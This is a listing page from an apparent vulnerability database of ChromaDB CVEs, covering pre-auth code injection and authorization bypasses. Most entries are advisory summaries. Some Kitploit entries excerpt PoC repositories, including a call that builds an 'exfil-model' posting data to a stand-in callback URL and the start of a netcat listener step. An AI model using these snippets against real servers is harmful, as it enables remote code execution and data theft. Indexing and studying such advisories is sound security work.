Lucene search
+L

78 matches found

Kitploit
Kitploit
added 2026/09/02 5:56 p.m.5 views

sentrysearch

SentrySearch Семантический поиск по видеофайлам. Введите то, что ищете, и получите обрезанный клип. !IMPORTANT Официальный источник: github.com/ssrajadh/sentrysearch — единственный официальный сайт SentrySearch. Другие сайты, публикующие или зеркалирующие этот проект, не связаны с сопровождающим ...

5.9AI score
SaveExploits0References8
Kitploit
Kitploit
added 2026/09/01 7:51 p.m.5 views

FULL-ANALYSIS---CVE-2026-45829-ChromaDB-

CVE-2026-45829 - ChromaDB 사전 인증 원격 코드 실행 CVSS 10.0 ⚠️ 경고 이 저장소에는 CVE-2026-45829에 대한 실제 동작하는 PoC 가 포함되어 있습니다. 통제된 환경에서의 승인된 테스트 전용입니다. 설명 ChromaDB버전 1.0.0 1.5.8의 심각한 취약점으로, 인증되지 않은 공격자가 trustremotecode=true를 사용하여 Hugging Face에서 악성 모델을 로드함으로써 임의 코드를 실행할 수 있게 합니다. PoC 사용법 리스너 준비 root@kitploit: nc...

10CVSS7.2AI score0.12387EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/08/31 5:16 a.m.5 views

CVE-2026-45829

🚨 CVE-2026-45829 - ChromaDB Pre-Auth RCE Критическое удаленное выполнение кода в векторной базе данных ChromaDB 📌 Обзор CVE-2026-45829 — это критическая уязвимость удаленного выполнения кода до аутентификации в ChromaDB , популярной открытой векторной базе данных ИИ. Неаутентифицированный...

10CVSS7.7AI score0.12387EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/08/30 9:07 p.m.8 views

Project-CVE-2026-45833

Project-CVE-2026-45833 CVE-2026-45833 ChromaDB 사용에 따른 위험은 본인이 감수하세요 일부 코드는 수정이 필요합니다. 1. 악성 모델 생성 python3 -c " from main import MaliciousModelGenerator gen = MaliciousModelGenerator gen.generatemodel'exfil-model', 'exfilenv', 'exfilurl': 'http://your-server.com/callback' " 2. HuggingFace에 업로드 수동...

9.4CVSS5.8AI score0.00342EPSS
SaveExploits0
PyPA
PyPA
added 2026/06/29 11:50 a.m.26 views

ChromaDB Python project has a pre-authentication code injection vulnerability

A pre-authentication, code injection vulnerability in version 1.0.0 or later of the ChromaDB Python project allows an unauthenticated attacker to run arbitrary code on the server by sending a malicious model repository and trustremotecode set to true in...

10CVSS7.5AI score0.12387EPSS
SaveExploits2References6Affected Software1
OSV
OSV
added 2026/06/29 11:50 a.m.15 views

PYSEC-2026-311 ChromaDB Python project has a pre-authentication code injection vulnerability

A pre-authentication, code injection vulnerability in version 1.0.0 or later of the ChromaDB Python project allows an unauthenticated attacker to run arbitrary code on the server by sending a malicious model repository and trustremotecode set to true in...

10CVSS6.1AI score0.12387EPSS
SaveExploits2References6
Positive Technologies
Positive Technologies
added 2026/06/29 12:00 a.m.23 views

PT-2026-53404

A pre-authentication, code injection vulnerability in version 1.0.0 or later of the ChromaDB Python project allows an unauthenticated attacker to run arbitrary code on the server by sending a malicious model repository and trust remote code set to true in...

10CVSS6.2AI score0.12387EPSS
SaveExploits2References7
RedhatCVE
RedhatCVE
added 2026/06/15 8:36 a.m.23 views

CVE-2026-45831

A flaw was found in the SimpleRBACAuthorizationProvider authorization provider in the ChromaDB Python project. This vulnerability allows an authenticated user to perform actions across different tenants, databases, or collections without proper authorization. The provider incorrectly evaluates us...

8.8CVSS5.2AI score0.00237EPSS
SaveExploits0References4
RedhatCVE
RedhatCVE
added 2026/06/15 8:35 a.m.16 views

CVE-2026-45833

A flaw was found in the ChromaDB Python project. An authenticated attacker with UPDATECOLLECTION permission could exploit a code injection vulnerability. By sending a malicious model repository to a specific API endpoint with trustremotecode enabled, the attacker can execute arbitrary code on the...

9.4CVSS6.1AI score0.00342EPSS
SaveExploits0References4
RedhatCVE
RedhatCVE
added 2026/06/15 8:35 a.m.16 views

CVE-2026-45832

A flaw was found in ChromaDB. All V1 collection-level endpoints in the Python project pass null values for tenant and database to the authorization layer. This allows a remote attacker to bypass authorization controls by utilizing these V1 endpoints. The primary consequence is unauthorized access...

8.8CVSS5.3AI score0.00284EPSS
SaveExploits0References4
RedhatCVE
RedhatCVE
added 2026/06/15 8:35 a.m.17 views

CVE-2026-45830

A flaw was found in ChromaDB. A lack of authorization validation in the ChromaDB Python project allows any authenticated user to read, write, update, or delete data in any tenant's collection. This means an attacker can bypass intended access controls and manipulate data across different tenants,...

8.8CVSS5.2AI score0.00345EPSS
SaveExploits0References4
Github Security Blog
Github Security Blog
added 2026/06/12 6:31 p.m.6 views

ChromaDB has a code injection vulnerability

A code injection vulnerability in version 0.4.17 or later of the ChromaDB Python project allows an authenticated attacker to run arbitrary code on the server by sending a malicious model repository and trustremotecode set to true in...

9.4CVSS5.9AI score0.00342EPSS
SaveExploits0References6Affected Software1
Github Security Blog
Github Security Blog
added 2026/06/12 6:31 p.m.7 views

ChromaDB allows any authenticated users to arbitrarily read, write, update, or delete data in any tenant's collection

A lack of authorization validation in version 0.4.17 or later of the ChromaDB Python project allows any authenticated users to arbitrarily read, write, update, or delete data in any tenant's collection regardless of which tenant they belong to...

8.8CVSS5.3AI score0.00345EPSS
SaveExploits0References8Affected Software1
Github Security Blog
Github Security Blog
added 2026/06/12 6:31 p.m.6 views

ChromaDB's SimpleRBACAuthorizationProvider doesn't check which tenant, database, or collection a permission applies to

The SimpleRBACAuthorizationProvider authorization provider in versions 0.5.0 or later of the ChromaDB Python project evaluates whether a user holds a given permission but never checks which tenant, database, or collection that permission applies to allowing users to perform cross tenant actions...

8.8CVSS5AI score0.00237EPSS
SaveExploits0References5Affected Software1
Snyk
Snyk
added 2026/06/12 4:39 p.m.20 views

Incorrect Authorization

Overview chromadb is a Chroma. Affected versions of this package are vulnerable to Incorrect Authorization due to improper evaluation of permissions in the SimpleRBACAuthorizationProvider function. An attacker can gain unauthorized access to resources across different tenants by exploiting the la...

9.6CVSS5.3AI score0.00237EPSS
SaveExploits0References2
vulnersOsv
vulnersOsv
added 2026/06/12 4:39 p.m.2 views

01os (>=0.0.5, <=0.0.13), 1claw-crewai-tools (>=0.1.0, <=0.2.0) +2063 more potentially affected by CVE-2026-45831 via chromadb (>=0.3.4, <=1.5.9)

chromadb PYPI version =0.3.4, =0.0.5, =0.1.0, =0.1.3, =0.1.0, =0.1.0, =1.0.0, =0.1.0, =0.2.0, =0.6.4, =0.1.1, =0.0.4.dev0, =0.0.4 - adaline-crewai 0.1.0 and more Source cves: CVE-2026-45831 Source advisory: SNYK:PYTHON-CHROMADB-17337045...

8.8CVSS5.3AI score0.00237EPSS
SaveExploits0
Snyk
Snyk
added 2026/06/12 4:39 p.m.25 views

Authorization Bypass Through User-Controlled Key

Overview chromadb is a Chroma. Affected versions of this package are vulnerable to Authorization Bypass Through User-Controlled Key via the V1 collection-level endpoints passing None for tenant and database to the authorization layer. An attacker can gain unauthorized access to resources by...

8.8CVSS5.4AI score0.00284EPSS
SaveExploits0References2
Snyk
Snyk
added 2026/06/12 4:39 p.m.19 views

Authorization Bypass Through User-Controlled Key

Overview chromadb is a Chroma. Affected versions of this package are vulnerable to Authorization Bypass Through User-Controlled Key due to insufficient authorization checks when UUID is provided. An attacker can gain unauthorized access to read, write, update, or delete data belonging to other...

8.8CVSS5.3AI score0.00345EPSS
SaveExploits0References2
Snyk
Snyk
added 2026/06/12 4:39 p.m.30 views

Arbitrary Code Injection

Overview chromadb is a Chroma. Affected versions of this package are vulnerable to Arbitrary Code Injection in the api/v2/tenants/defaulttenant/databases/defaultdatabase/collections/collectionid endpoint when a malicious model repository is sent and trustremotecode is set to true. An attacker can...

9.4CVSS6.1AI score0.00342EPSS
SaveExploits0References2
NVD
NVD
added 2026/06/12 4:16 p.m.26 views

CVE-2026-8828

A lack of authorization validation in version 1.0.0 or later of the ChromaDB Rust project allows any authenticated users to arbitrarily read, write, update, or delete data in any tenant's collection regardless of which tenant they belong to...

8.8CVSS0.00279EPSS
SaveExploits0References1
Rows per page
Query Builder